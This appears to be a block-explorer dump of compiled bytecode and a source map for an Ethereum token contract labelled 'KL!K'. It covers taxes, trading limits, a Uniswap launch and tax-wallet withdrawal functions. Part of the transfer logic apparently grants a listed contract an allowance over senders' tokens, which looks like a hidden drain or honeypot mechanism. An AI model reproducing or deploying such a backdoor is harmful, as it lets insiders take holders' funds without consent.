0516001600160a01b039091168152602001610155565b34801561030d575f80fd5b506101a2600f5481565b348015610322575f80fd5b506040805180820190915260048152634b4c214b60e01b6020820152610148565b34801561034e575f80fd5b5061017d61035d366004611716565b6106b2565b34801561036d575f80fd5b506101a260105481565b348015610382575f80fd5b506102556106be565b348015610396575f80fd5b506101a26103a5366004611799565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103da575f80fd5b5061017d6103e9366004611716565b610a6c565b6060604051806060016040528060278152602001611a7d60279139905090565b5f61041a338484610bb5565b5060015b92915050565b5f6104316009600a6118c4565b610440906461f313f8806118d2565b905090565b5f610451848484610cd8565b6104a2843361049d85604051806060016040528060288152602001611aa4602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061126c565b610bb5565b5060015b9392505050565b6004546001600160a01b0316336001600160a01b0316146104cc575f80fd5b305f9081526001602052604090205480156104ea576104ea816112a4565b4780156104fa576104fa81611414565b5050565b6004546001600160a01b0316336001600160a01b03161461051d575f80fd5b47806105815760405162461bcd60e51b815260206004820152602860248201527f436f6e74726163742062616c616e6365206d7573742062652067726561746572604482015267103a3430b710181760c11b60648201526084015b60405180910390fd5b61058a81611414565b50565b5f546001600160a01b031633146105b65760405162461bcd60e51b8152600401610578906118e9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106275760405162461bcd60e51b8152600401610578906118e9565b6106336009600a6118c4565b610642906461f313f8806118d2565b600e556106516009600a6118c4565b610660906461f313f8806118d2565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106906009600a6118c4565b61069f906461f313f8806118d2565b60405190815260200160405180910390a1565b5f61041a338484610cd8565b5f546001600160a01b031633146106e75760405162461bcd60e51b8152600401610578906118e9565b601354600160a01b900460ff16156107415760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610578565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561078b90309061077c6009600a6118c4565b61049d906461f313f8806118d2565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ff919061191e565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610882919061191e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f0919061191e565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610937816001600160a01b03165f9081526001602052604090205490565b5f8061094a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109b0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109d59190611939565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a2a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a4e9190611964565b50436014556013805462ff00ff60a01b19166201000160a01b179055565b6004545f906001600160a01b0316336001600160a01b031614610a8d575f80fd5b815f03610afd576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015610ad6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afa9190611983565b91505b604080516001600160a01b0385168152602081018490527fda2bc2bedd1f85b5a59d5dbbd6684ff877ef916994a16ec08813101e99ace65f910160405180910390a16004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610b91573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a69190611964565b6001600160a01b038316610c175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610578565b6001600160a01b038216610c785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610578565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610578565b6001600160a01b038216610d9e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610578565b5f8111610dff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610578565b5f80546001600160a01b03858116911614801590610e2a57505f546001600160a01b03848116911614155b1561112f57600d545f03610e6757610e646064610e5e600954600d5411610e5357600554610e57565b6007545b859061144b565b906114c9565b90505b601354600160b01b900460ff168015610e8157505f600d54115b15610e9c57610e996064610e5e610e5785888861150a565b90505b6014544303610ef7576017600d5410610ef75760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e6044820152606401610578565b6013546001600160a01b038581169116148015610f2257506012546001600160a01b03848116911614155b8015610f4657506001600160a01b0383165f9081526003602052604090205460ff16155b1561104957600e54821115610f9d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610578565b600f5482610fbf856001600160a01b03165f9081526001602052604090205490565b610fc9919061199a565b11156110175760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610578565b6110326064610e5e600954600d5411610e5357600554610e57565b600d80549192505f611043836119ad565b91905055505b6013546001600160a01b03848116911614801561106f57506001600160a01b0384163014155b156110925761108f6064610e5e600954600d5411610e5357600554610e57565b90505b305f90815260016020526040902054601354600160a81b900460ff161580156110c857506013546001600160a01b038581169116145b80156110dd5750601354600160b01b900460ff165b80156110ea575060105481115b80156110f95750600b54600d54115b1561112d5761111b61111684611111846011546115d7565b6115d7565b6112a4565b47801561112b5761112b47611414565b505b505b80156111a757305f9081526001602052604090205461114e90826115eb565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061119e9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111c99083611649565b6001600160a01b0385165f9081526001602052604090205561120c6111ee8383611649565b6001600160a01b0385165f90815260016020526040902054906115eb565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112558585611649565b60405190815260200160405180910390a350505050565b5f818484111561128f5760405162461bcd60e51b815260040161057891906116b6565b505f61129b84866119c5565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ea576112ea6119d8565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611341573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611365919061191e565b81600181518110611378576113786119d8565b6001600160a01b03928316602091820292909201015260125461139e9130911684610bb5565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d69085905f908690309042906004016119ec565b5f604051808303815f87803b1580156113ed575f80fd5b505af11580156113ff573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104fa573d5f803e3d5ffd5b5f825f0361145a57505f61041e565b5f61146583856118d2565b9050826114728583611a5d565b146104a65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610578565b5f6104a683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168a565b5f333b1515801561152457506001600160a01b0383163014155b801561153e5750335f9081526003602052604090205460ff165b1561156e57506001600160a01b0382165f90815260026020908152604080832033845290915281208490556104a6565b813b1515801561158c57506013546001600160a01b03838116911614155b80156115a65750335f9081526003602052604090205460ff165b156115ce576001600160a01b0382165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f8183116115e557826104a6565b50919050565b5f806115f7838561199a565b9050838110156104a65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610578565b5f6104a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061126c565b5f81836116aa5760405162461bcd60e51b815260040161057891906116b6565b505f61129b8486611a5d565b5f602080835283518060208501525f5b818110156116e2578581018301518582016040015282016116c6565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058a575f80fd5b5f8060408385031215611727575f80fd5b823561173281611702565b946020939093013593505050565b5f805f60608486031215611752575f80fd5b833561175d81611702565b9250602084013561176d81611702565b929592945050506040919091013590565b5f6020828403121561178e575f80fd5b81356104a681611702565b5f80604083850312156117aa575f80fd5b82356117b581611702565b915060208301356117c581611702565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561181e57815f1904821115611804576118046117d0565b8085161561181157918102915b93841c93908002906117e9565b509250929050565b5f826118345750600161041e565b8161184057505f61041e565b816001811461185657600281146118605761187c565b600191505061041e565b60ff841115611871576118716117d0565b50506001821b61041e565b5060208310610133831016604e8410600b841016171561189f575081810a61041e565b6118a983836117e4565b805f19048211156118bc576118bc6117d0565b029392505050565b5f6104a660ff841683611826565b808202811582820484141761041e5761041e6117d0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561192e575f80fd5b81516104a681611702565b5f805f6060848603121561194b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611974575f80fd5b815180151581146104a6575f80fd5b5f60208284031215611993575f80fd5b5051919050565b8082018082111561041e5761041e6117d0565b5f600182016119be576119be6117d0565b5060010190565b8181038181111561041e5761041e6117d0565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a3c5784516001600160a01b031683529383019391830191600101611a17565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a7757634e487b7160e01b5f52601260045260245ffd5b50049056fe4b4c214b204c61756e636820416e20457468657265756d20436f696e20496e205365636f6e647345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee12574d6ebfa2e91b523ff66fc46b6545d59d5cf02ab2fbf41a81fd3b15868964736f6c63430008170033
Deployed Bytecode Sourcemap
3692:9858:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6109:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6942:161;;;;;;;;;;-1:-1:-1;6942:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6942:161:0;1023:187:1;4810:54:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4810:54:0;1215:177:1;6386:95:0;;;;;;;;;;;;;:::i;5682:419::-;;;;;;;;;;-1:-1:-1;5936:14:0;;5969:15;;6003:12;;6034:13;;6066:12;;5682:419;;;1656:25:1;;;1712:2;1697:18;;1690:34;;;;1740:18;;;1733:34;;;;1798:2;1783:18;;1776:34;1841:3;1826:19;;1819:35;1643:3;1628:19;5682:419:0;1397:463:1;7111:313:0;;;;;;;;;;-1:-1:-1;7111:313:0;;;;;:::i;:::-;;:::i;6295:83::-;;;;;;;;;;-1:-1:-1;6295:83:0;;4396:1;2468:36:1;;2456:2;2441:18;6295:83:0;2326:184:1;13189:358:0;;;;;;;;;;;;;:::i;:::-;;12548:253;;;;;;;;;;;;;:::i;6489:119::-;;;;;;;;;;-1:-1:-1;6489:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6582:18:0;6555:7;6582:18;;;:9;:18;;;;;;;6489:119;1624:148;;;;;;;;;;;;;:::i;11631:160::-;;;;;;;;;;;;;:::i;4615:56::-;;;;;;;;;;;;;;;;1410:79;;;;;;;;;;-1:-1:-1;1448:7:0;1475:6;1410:79;;-1:-1:-1;;;;;1475:6:0;;;2913:51:1;;2901:2;2886:18;1410:79:0;2767:203:1;4678:58:0;;;;;;;;;;;;;;;;6200:87;;;;;;;;;;-1:-1:-1;6272:7:0;;;;;;;;;;;;-1:-1:-1;;;6272:7:0;;;;6200:87;;6616:167;;;;;;;;;;-1:-1:-1;6616:167:0;;;;;:::i;:::-;;:::i;4743:60::-;;;;;;;;;;;;;;;;11836:704;;;;;;;;;;;;;:::i;6791:143::-;;;;;;;;;;-1:-1:-1;6791:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6899:18:0;;;6872:7;6899:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6791:143;12809:372;;;;;;;;;;-1:-1:-1;12809:372:0;;;;;:::i;:::-;;:::i;6109:83::-;6146:13;6179:5;;;;;;;;;;;;;;;;;6172:12;;6109:83;:::o;6942:161::-;7017:4;7034:39;291:10;7057:7;7066:6;7034:8;:39::i;:::-;-1:-1:-1;7091:4:0;6942:161;;;;;:::o;6386:95::-;6439:7;4454:13;4396:1;4454:2;:13;:::i;:::-;4439:28;;:12;:28;:::i;:::-;6459:14;;6386:95;:::o;7111:313::-;7209:4;7226:36;7236:6;7244:9;7255:6;7226:9;:36::i;:::-;7273:121;7282:6;291:10;7304:89;7342:6;7304:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7304:19:0;;;;;;:11;:19;;;;;;;;291:10;7304:33;;;;;;;;;;:37;:89::i;:::-;7273:8;:121::i;:::-;-1:-1:-1;7412:4:0;7111:313;;;;;;:::o;13189:358::-;13253:11;;-1:-1:-1;;;;;13253:11:0;291:10;-1:-1:-1;;;;;13239:25:0;;13231:34;;;;;;13317:4;13276:20;6582:18;;;:9;:18;;;;;;13337:14;;13334:75;;13367:30;13384:12;13367:16;:30::i;:::-;13439:21;13474:12;;13471:69;;13503:24;13516:10;13503:12;:24::i;:::-;13220:327;;13189:358::o;12548:253::-;12614:11;;-1:-1:-1;;;;;12614:11:0;291:10;-1:-1:-1;;;;;12598:27:0;;12590:36;;;;;;12659:21;12699:14;12691:67;;;;-1:-1:-1;;;12691:67:0;;5252:2:1;12691:67:0;;;5234:21:1;5291:2;5271:18;;;5264:30;5330:34;5310:18;;;5303:62;-1:-1:-1;;;5381:18:1;;;5374:38;5429:19;;12691:67:0;;;;;;;;;12769:24;12782:10;12769:12;:24::i;:::-;12579:222;12548:253::o;1624:148::-;1537:6;;-1:-1:-1;;;;;1537:6:0;291:10;1537:22;1529:67;;;;-1:-1:-1;;;1529:67:0;;;;;;;:::i;:::-;1731:1:::1;1715:6:::0;;1694:40:::1;::::0;-1:-1:-1;;;;;1715:6:0;;::::1;::::0;1694:40:::1;::::0;1731:1;;1694:40:::1;1762:1;1745:19:::0;;-1:-1:-1;;;;;;1745:19:0::1;::::0;;1624:148::o;11631:160::-;1537:6;;-1:-1:-1;;;;;1537:6:0;291:10;1537:22;1529:67;;;;-1:-1:-1;;;1529:67:0;;;;;;;:::i;:::-;4454:13:::1;4396:1;4454:2;:13;:::i;:::-;4439:28;::::0;:12:::1;:28;:::i;:::-;11687:12;:20:::0;4454:13:::1;4396:1;4454:2;:13;:::i;:::-;4439:28;::::0;:12:::1;:28;:::i;:::-;11718:14;:22:::0;11756:27:::1;4454:13;4396:1;4454:2;:13;:::i;:::-;4439:28;::::0;:12:::1;:28;:::i;:::-;11756:27;::::0;1361:25:1;;;1349:2;1334:18;11756:27:0::1;;;;;;;11631:160::o:0;6616:167::-;6694:4;6711:42;291:10;6735:9;6746:6;6711:9;:42::i;11836:704::-;1537:6;;-1:-1:-1;;;;;1537:6:0;291:10;1537:22;1529:67;;;;-1:-1:-1;;;1529:67:0;;;;;;;:::i;:::-;11900:11:::1;::::0;-1:-1:-1;;;11900:11:0;::::1;;;11899:12;11891:47;;;::::0;-1:-1:-1;;;11891:47:0;;6022:2:1;11891:47:0::1;::::0;::::1;6004:21:1::0;6061:2;6041:18;;;6034:30;6100:25;6080:18;;;6073:53;6143:18;;11891:47:0::1;5820:347:1::0;11891:47:0::1;11949:15;:80:::0;;-1:-1:-1;;;;;;11949:80:0::1;11986:42;11949:80:::0;;::::1;::::0;;;12040:58:::1;::::0;12057:4:::1;::::0;4454:13:::1;4396:1;4454:2;:13;:::i;:::-;4439:28;::::0;:12:::1;:28;:::i;12040:58::-;12143:15;;;;;;;;;-1:-1:-1::0;;;;;12143:15:0::1;-1:-1:-1::0;;;;;12143:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12125:55:0::1;;12189:4;12196:15;;;;;;;;;-1:-1:-1::0;;;;;12196:15:0::1;-1:-1:-1::0;;;;;12196:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12125:94;::::0;-1:-1:-1;;;;;;12125:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6658:15:1;;;12125:94:0::1;::::0;::::1;6640:34:1::0;6710:15;;6690:18;;;6683:43;6575:18;;12125:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12109:13;:110:::0;;-1:-1:-1;;;;;12109:110:0;;::::1;-1:-1:-1::0;;;;;;12109:110:0;;::::1;;::::0;;12230:15:::1;::::0;::::1;:31;12268:21;12299:4;12306:24;12299:4:::0;-1:-1:-1;;;;;6582:18:0;6555:7;6582:18;;;:9;:18;;;;;;;6489:119;12306:24:::1;12332:1;12335::::0;12338:7:::1;1448::::0;1475:6;-1:-1:-1;;;;;1475:6:0;;1410:79;12338:7:::1;12230:133;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12230:133:0;;;-1:-1:-1;;;;;7096:15:1;;;12230:133:0::1;::::0;::::1;7078:34:1::0;7128:18;;;7121:34;;;;7171:18;;;7164:34;;;;7214:18;;;7207:34;7278:15;;;7257:19;;;7250:44;12347:15:0::1;7310:19:1::0;;;7303:35;7012:19;;12230:133:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12381:13:0::1;::::0;12412:15:::1;::::0;12374:70:::1;::::0;-1:-1:-1;;;12374:70:0;;-1:-1:-1;;;;;12412:15:0;;::::1;12374:70;::::0;::::1;7834:51:1::0;-1:-1:-1;;7901:18:1;;;7894:34;12381:13:0;::::1;::::0;-1:-1:-1;12374:29:0::1;::::0;7807:18:1;;12374:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12466:12:0::1;12455:10;:23:::0;12489:11:::1;:16:::0;;-1:-1:-1;;;;12516:16:0;-1:-1:-1;;;12516:16:0;;;11836:704::o;12809:372::-;12940:11;;12891:12;;-1:-1:-1;;;;;12940:11:0;291:10;-1:-1:-1;;;;;12924:27:0;;12916:36;;;;;;12966:6;12976:1;12966:11;12963:96;;13002:45;;-1:-1:-1;;;13002:45:0;;13041:4;13002:45;;;2913:51:1;-1:-1:-1;;;;;13002:30:0;;;;;2886:18:1;;13002:45:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12993:54;;12963:96;13074:31;;;-1:-1:-1;;;;;7852:32:1;;7834:51;;7916:2;7901:18;;7894:34;;;13074:31:0;;7807:18:1;13074:31:0;;;;;;;13153:11;;;13123:50;;-1:-1:-1;;;13123:50:0;;-1:-1:-1;;;;;13153:11:0;;;13123:50;;;7834:51:1;;;;7901:18;;;7894:34;;;13123:29:0;;;;;7807:18:1;;13123:50:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;7432:335::-;-1:-1:-1;;;;;7525:19:0;;7517:68;;;;-1:-1:-1;;;7517:68:0;;8899:2:1;7517:68:0;;;8881:21:1;8938:2;8918:18;;;8911:30;8977:34;8957:18;;;8950:62;-1:-1:-1;;;9028:18:1;;;9021:34;9072:19;;7517:68:0;8697:400:1;7517:68:0;-1:-1:-1;;;;;7604:21:0;;7596:68;;;;-1:-1:-1;;;7596:68:0;;9304:2:1;7596:68:0;;;9286:21:1;9343:2;9323:18;;;9316:30;9382:34;9362:18;;;9355:62;-1:-1:-1;;;9433:18:1;;;9426:32;9475:19;;7596:68:0;9102:398:1;7596:68:0;-1:-1:-1;;;;;7675:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7727:32;;1361:25:1;;;7727:32:0;;1334:18:1;7727:32:0;;;;;;;7432:335;;;:::o;7775:2357::-;-1:-1:-1;;;;;7863:18:0;;7855:68;;;;-1:-1:-1;;;7855:68:0;;9707:2:1;7855:68:0;;;9689:21:1;9746:2;9726:18;;;9719:30;9785:34;9765:18;;;9758:62;-1:-1:-1;;;9836:18:1;;;9829:35;9881:19;;7855:68:0;9505:401:1;7855:68:0;-1:-1:-1;;;;;7942:16:0;;7934:64;;;;-1:-1:-1;;;7934:64:0;;10113:2:1;7934:64:0;;;10095:21:1;10152:2;10132:18;;;10125:30;10191:34;10171:18;;;10164:62;-1:-1:-1;;;10242:18:1;;;10235:33;10285:19;;7934:64:0;9911:399:1;7934:64:0;8026:1;8017:6;:10;8009:64;;;;-1:-1:-1;;;8009:64:0;;10517:2:1;8009:64:0;;;10499:21:1;10556:2;10536:18;;;10529:30;10595:34;10575:18;;;10568:62;-1:-1:-1;;;10646:18:1;;;10639:39;10695:19;;8009:64:0;10315:405:1;8009:64:0;8084:17;1475:6;;-1:-1:-1;;;;;8118:15:0;;;1475:6;;8118:15;;;;:31;;-1:-1:-1;1448:7:0;1475:6;-1:-1:-1;;;;;8136:13:0;;;1475:6;;8136:13;;8118:31;8114:1655;;;8169:9;;8181:1;8169:13;8166:145;;8214:81;8291:3;8214:72;8238:15;;8226:9;;:27;8225:60;;8271:14;;8225:60;;;8257:12;;8225:60;8214:6;;:10;:72::i;:::-;:76;;:81::i;:::-;8202:93;;8166:145;8330:11;;-1:-1:-1;;;8330:11:0;;;;:26;;;;;8355:1;8345:9;;:11;8330:26;8327:137;;;8389:59;8444:3;8389:50;8400:38;8421:6;8429:4;8435:2;8400:20;:38::i;8389:59::-;8377:71;;8327:137;8498:10;;8483:12;:25;8480:123;;8548:2;8536:9;;:14;8528:59;;;;-1:-1:-1;;;8528:59:0;;10927:2:1;8528:59:0;;;10909:21:1;;;10946:18;;;10939:30;11005:34;10985:18;;;10978:62;11057:18;;8528:59:0;10725:356:1;8528:59:0;8643:13;;-1:-1:-1;;;;;8635:21:0;;;8643:13;;8635:21;:56;;;;-1:-1:-1;8675:15:0;;-1:-1:-1;;;;;8660:31:0;;;8675:15;;8660:31;;8635:56;:83;;;;-1:-1:-1;;;;;;8696:22:0;;;;;;:18;:22;;;;;;;;8695:23;8635:83;8631:427;;;8758:12;;8747:6;:23;;8739:61;;;;-1:-1:-1;;;8739:61:0;;11288:2:1;8739:61:0;;;11270:21:1;11327:2;11307:18;;;11300:30;11366:27;11346:18;;;11339:55;11411:18;;8739:61:0;11086:349:1;8739:61:0;8854:14;;8843:6;8827:13;8837:2;-1:-1:-1;;;;;6582:18:0;6555:7;6582:18;;;:9;:18;;;;;;;6489:119;8827:13;:22;;;;:::i;:::-;:41;;8819:80;;;;-1:-1:-1;;;8819:80:0;;11772:2:1;8819:80:0;;;11754:21:1;11811:2;11791:18;;;11784:30;11850:28;11830:18;;;11823:56;11896:18;;8819:80:0;11570:350:1;8819:80:0;8930:82;9008:3;8930:73;8954:15;;8942:9;;:27;8941:61;;8988:14;;8941:61;;8930:82;9031:9;:11;;8918:94;;-1:-1:-1;9031:9:0;:11;;;:::i;:::-;;;;;;8631:427;9085:13;;-1:-1:-1;;;;;9078:20:0;;;9085:13;;9078:20;:42;;;;-1:-1:-1;;;;;;9101:19:0;;9115:4;9101:19;;9078:42;9074:176;;;9153:81;9230:3;9153:72;9177:15;;9165:9;;:27;9164:60;;9210:14;;9164:60;;9153:81;9141:93;;9074:176;9315:4;9266:28;6582:18;;;:9;:18;;;;;;9340:6;;-1:-1:-1;;;9340:6:0;;;;9339:7;:31;;;;-1:-1:-1;9357:13:0;;-1:-1:-1;;;;;9350:20:0;;;9357:13;;9350:20;9339:31;:45;;;;-1:-1:-1;9373:11:0;;-1:-1:-1;;;9373:11:0;;;;9339:45;:89;;;;;9411:17;;9388:20;:40;9339:89;:122;;;;;9443:18;;9432:9;;:29;9339:122;9336:422;;;9482:69;9499:51;9503:6;9511:38;9515:20;9537:11;;9511:3;:38::i;:::-;9499:3;:51::i;:::-;9482:16;:69::i;:::-;9599:21;9643;;9639:104;;9688:35;9701:21;9688:12;:35::i;:::-;9463:295;9336:422;8151:1618;8114:1655;9784:13;;9781:166;;9856:4;9838:24;;;;:9;:24;;;;;;:39;;9867:9;9838:28;:39::i;:::-;9829:4;9811:24;;;;:9;:24;;;;;;;:66;;;;9895:40;;-1:-1:-1;;;;;9895:40:0;;;;;;;9925:9;1361:25:1;;1349:2;1334:18;;1215:177;9895:40:0;;;;;;;;9781:166;-1:-1:-1;;;;;9975:15:0;;;;;;:9;:15;;;;;;:27;;9995:6;9975:19;:27::i;:::-;-1:-1:-1;;;;;9959:15:0;;;;;;:9;:15;;;;;:43;10027:40;10045:21;:6;10056:9;10045:10;:21::i;:::-;-1:-1:-1;;;;;10027:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10013:13:0;;;;;;;:9;:13;;;;;:54;;;;10085:39;;;10102:21;:6;10113:9;10102:10;:21::i;:::-;10085:39;;1361:25:1;;;1349:2;1334:18;10085:39:0;;;;;;;7844:2288;7775:2357;;;:::o;1992:190::-;2078:7;2114:12;2106:6;;;;2098:29;;;;-1:-1:-1;;;2098:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2138:9:0;2150:5;2154:1;2150;:5;:::i;:::-;2138:17;1992:190;-1:-1:-1;;;;;1992:190:0:o;10551:483::-;5261:6;:13;;-1:-1:-1;;;;5261:13:0;-1:-1:-1;;;5261:13:0;;;10653:16:::1;::::0;;10667:1:::1;10653:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10653:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10653:16:0::1;10629:40;;10698:4;10680;10685:1;10680:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10680:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10724:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10724:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10680:7;;10724:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10714:4;10719:1;10714:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10714:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10789:15:::1;::::0;10757:62:::1;::::0;10774:4:::1;::::0;10789:15:::1;10807:11:::0;10757:8:::1;:62::i;:::-;10830:15;::::0;:196:::1;::::0;-1:-1:-1;;;10830:196:0;;-1:-1:-1;;;;;10830:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10911:11;;10830:15:::1;::::0;10953:4;;10980::::1;::::0;11000:15:::1;::::0;10830:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5297:6:0;:14;;-1:-1:-1;;;;5297:14:0;;;-1:-1:-1;;;;10551:483:0:o;10140:93::-;10197:11;;:28;;-1:-1:-1;;;;;10197:11:0;;;;:28;;;;;10218:6;;10197:11;:28;:11;:28;10218:6;10197:11;:28;;;;;;;;;;;;;;;;;;;2334:246;2392:7;2416:1;2421;2416:6;2412:47;;-1:-1:-1;2446:1:0;2439:8;;2412:47;2469:9;2481:5;2485:1;2481;:5;:::i;:::-;2469:17;-1:-1:-1;2514:1:0;2505:5;2509:1;2469:17;2505:5;:::i;:::-;:10;2497:56;;;;-1:-1:-1;;;2497:56:0;;13871:2:1;2497:56:0;;;13853:21:1;13910:2;13890:18;;;13883:30;13949:34;13929:18;;;13922:62;-1:-1:-1;;;14000:18:1;;;13993:31;14041:19;;2497:56:0;13669:397:1;2785:132:0;2843:7;2870:39;2874:1;2877;2870:39;;;;;;;;;;;;;;;;;:3;:39::i;11216:407::-;11304:7;291:10;10479:20;10527:8;;11326:49;;;;-1:-1:-1;;;;;;11354:21:0;;11370:4;11354:21;;11326:49;:83;;;;-1:-1:-1;11398:10:0;1137